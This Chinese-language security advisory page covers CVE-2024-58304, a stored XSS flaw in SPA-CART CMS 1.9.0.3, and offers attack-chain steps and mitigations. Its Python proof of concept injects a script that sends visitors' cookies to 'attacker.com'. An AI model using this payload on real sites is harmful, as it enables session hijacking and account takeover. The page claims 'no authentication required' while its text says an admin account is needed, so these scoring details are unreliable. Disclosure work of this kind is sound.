IPBUF安全漏洞报告
English
CVE-2024-58304 CVSS 7.5 高危

CVE-2024-58304: SPA-CART CMS产品描述存储型XSS漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2024-58304
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SPA-CART CMS

相关标签

CVE-2024-58304存储型XSS跨站脚本SPA-CART CMS高危漏洞身份验证绕过Web安全

漏洞概述

CVE-2024-58304是SPA-CART CMS 1.9.0.3版本中存在的一个高危安全漏洞,类型为存储型跨站脚本攻击(Stored XSS)。该漏洞位于产品管理模块的产品描述参数(descr)中,允许经过身份验证的管理员用户在编辑产品信息时注入恶意JavaScript代码。由于漏洞属于存储型,恶意脚本会被永久保存在服务器端,所有访问该产品详情页面的用户都会受到攻击影响。攻击者主要针对管理后台用户,当管理员查看被植入恶意代码的产品时,攻击payload会自动执行,从而窃取管理员会话cookie、劫持管理员账户或进行其他恶意操作。此漏洞的CVSS评分为7.5分,属于高危级别,攻击复杂度低,无需特殊权限或用户交互即可实现攻击。鉴于SPA-CART CMS通常用于电子商务场景,该漏洞可能导致严重的业务数据泄露和网站被完全接管的风险。

技术细节

该漏洞源于SPA-CART CMS 1.9.0.3版本在处理产品描述参数时缺乏充分的输入验证和输出编码。攻击者以管理员身份登录系统后,访问产品管理模块的编辑功能,在产品描述字段(descr参数)中注入恶意JavaScript代码。由于应用程序未对用户输入进行安全过滤,恶意payload被直接存储到数据库中。当其他用户(尤其是管理员)访问该产品的详情页面时,之前注入的恶意脚本会作为页面内容的一部分被浏览器解析执行。攻击者可利用此漏洞窃取受害者的认证令牌、凭据或其他敏感信息,也可进一步利用获取的管理员权限对网站进行完全控制。漏洞的利用需要攻击者具备管理员账户,但一旦成功,攻击影响范围将扩展到所有访问该页面的用户。修复此漏洞需要在输入阶段对所有用户提交的内容进行严格的HTML标签过滤,并在输出阶段对动态内容进行适当的编码转义。

攻击链分析

STEP 1
步骤1
攻击者获取SPA-CART CMS管理员账户凭据
STEP 2
步骤2
攻击者登录管理后台并导航至产品管理模块
STEP 3
步骤3
攻击者编辑现有产品或创建新产品,在descr参数中注入恶意JavaScript代码
STEP 4
步骤4
应用程序将包含恶意payload的产品描述存储到数据库,未进行安全过滤
STEP 5
步骤5
当管理员或其他用户访问该产品详情页面时,恶意脚本被浏览器执行
STEP 6
步骤6
攻击者通过XSS payload窃取用户cookie、会话令牌或进行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # Configuration target_url = "http://target-website.com" login_url = f"{target_url}/admin/login" product_edit_url = f"{target_url}/admin/products/edit" # XSS Payload xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Authentication session = requests.Session() login_data = { 'username': 'admin', 'password': 'admin_password' } login_response = session.post(login_url, data=login_data) # Inject XSS via product description parameter product_data = { 'product_id': '1', 'name': 'Test Product', 'descr': xss_payload, # XSS injection point 'price': '99.99', 'submit': 'Save' } # Send malicious request inject_response = session.post(product_edit_url, data=product_data) # Verify the injection if inject_response.status_code == 200: print("[+] XSS payload injected successfully!") print(f"[+] Payload stored in product ID: 1") print(f"[+] Access product page to trigger the XSS") else: print("[-] Injection failed")

影响范围

SPA-CART CMS 1.9.0.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制管理后台访问权限,仅允许受信任的IP地址访问;2)对产品描述字段实施输入长度限制;3)启用Web应用防火墙(WAF)规则检测和阻止XSS攻击特征;4)提醒管理员不要点击来源不明的链接;5)临时禁用产品描述的富文本编辑功能,使用纯文本模式;6)监控管理后台的产品编辑操作日志,及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表